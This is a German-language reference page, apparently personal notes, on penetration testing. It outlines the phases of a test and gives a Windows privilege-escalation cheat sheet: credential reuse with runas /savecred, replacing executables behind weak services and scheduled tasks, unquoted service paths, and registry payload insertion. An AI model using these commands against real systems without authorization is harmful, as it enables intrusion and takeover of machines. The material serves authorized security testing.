Inhaltsverzeichnis

todo

Ein Penetrationstest, auch als Pen-Test oder Ethical Hacking bezeichnet, ist ein autorisierter Angriff auf ein Computersystem, Netzwerk oder eine Anwendung, um Schwachstellen zu identifizieren und die Sicherheitsmaßnahmen zu bewerten. Man versucht dabei, Schwachstellen zu finden und auszunutzen, wie sie auch von echten Angreifern ausgenutzt werden könnten.

Ein Penetrationstest kann verschiedene Teile eines Systems überprüfen, z.B. Netzwerke, Server, Betriebssysteme, Software und Webanwendungen. Die Testergebnisse werden in einem Bericht zusammengefasst, der detaillierte Informationen über die gefundenen Schwachstellen enthält.

Das Metasploit Framework bietet eine Vielzahl von Exploits, Payloads, Werkzeugen und Modulen um Schwachstellen zu identifizieren, zu analysieren und auszunutzen. Das Framework ist in der Programmiersprache Ruby geschrieben.

Ablauf

Ein Penetrationstest (auch bekannt als Ethical Hacking) wird in der Regel in mehreren Phasen durchgeführt, um die Sicherheit eines Systems zu überprüfen.

Vorbereitung

In dieser Phase werden die Ziele des Penetrationstests festgelegt, das Zielsystem oder die Zielsysteme identifiziert und alle erforderlichen Genehmigungen eingeholt. Es wird auch eine Vereinbarung über den Umfang des Tests und die Zustimmung des Kunden getroffen.

Reconnaissance

Das Hauptziel der Reconnaissance ist es, Informationen über das Zielunternehmen, seine IT-Infrastruktur, Systeme, Netzwerke und Mitarbeiter zu sammeln. Durch die Erfassung und Analyse dieser Informationen kann der Sicherheitsexperte potenzielle Schwachstellen und Angriffsvektoren identifizieren.

Methoden

Es gibt sowohl passive als auch aktive Methoden, um Informationen zu sammeln.

Werkzeuge

https://live.sysinternals.com/

Schwachstellenanalyse

Das Hauptziel ist es, Schwachstellen an einem Zielsystem zu finden die ausgenutzt werden können um Zugriff zu bekommen.

Exploitation

In dieser Phase werden die identifizierten Schwachstellen ausgenutzt, um Zugriff auf das Zielsystem zu erlangen oder Sicherheitsmaßnahmen zu umgehen. Exploits lassen sich in folgende Kategorien einteilen.

Privilege Escalation

Sobald Zugriff auf das Zielsystem erlangt wurde, wird versucht, den Zugriff auf weitere Teile des Systems zu bekommen oder Benutzerrechte zu erweitern. Das kann z.B das Überwinden von Firewalls oder das Ausnutzen von Schwachstellen in Programmen oder dem Betriebssystem sein.

Linux - Windows - PrivEsc

Cached Credentials

Siehe auch mimikatz, hashcat

cmdkey /list

runas /savecred /user:<found-user> <reverse_tcp>

Stored Credentials

Scheduled Tasks

// find weak scheduled tasks
schtasks.exe /query [/v]

// check for permissions
accesschk.exe /accepteula -quvw <user> <task-executable>

replace the executable 

Scheduled Tasks

Services

Insecure service executables
sc query | findstr "SERVICE_NAME DISPLAY_NAME STATE"

// list specific service
// check start permissions (SERVICE_START_NAME) of service
// note executable path
sc qc <service> 

// check permissions
accesschk.exe /accepteula -quvw <user> <task-executable>

replace the executable

net start <service>
Insecure service permissions
sc query | findstr "SERVICE_NAME DISPLAY_NAME STATE"

// check start permissions (SERVICE_START_NAME) of service
sc qc <service>

// see if user has permissions for specific service
accesschk.exe /accepteula -uwcqv <user> <service>

sc config <service> binpath = "<binpath>"

Executables, Permissions

Unquoted service path

When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'

// look for unquoted service /w whitespaces and path not in quotation marks
// you can use winpeas - https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
winPEASx64.exe servicesinfo

Unquoted service path

Registry

Weak Registry permissions
// check reg permissions
accesschk /accepteula -uvwqk manuel HKEY_CURRENT_USER\Console

reg add HKEY_CURRENT_USER\Console /v <imagepath> /t REG_EXPAND_SZ /d <payload> /f

Weak Registry Permissions

Passwords in Registry

Passwords in registry or scripts

Privilege Escalation on Windows, Windows PrivEsc, Linux PrivEsc

Erkennung und Berichterstattung

Nach Abschluss des Penetrationstests werden die durchgeführten Aktivitäten dokumentiert und eine umfassende Berichterstattung erstellt. Dies umfasst eine Zusammenfassung der Ergebnisse, eine detaillierte Beschreibung der gefundenen Schwachstellen und Empfehlungen zur Behebung dieser Schwachstellen.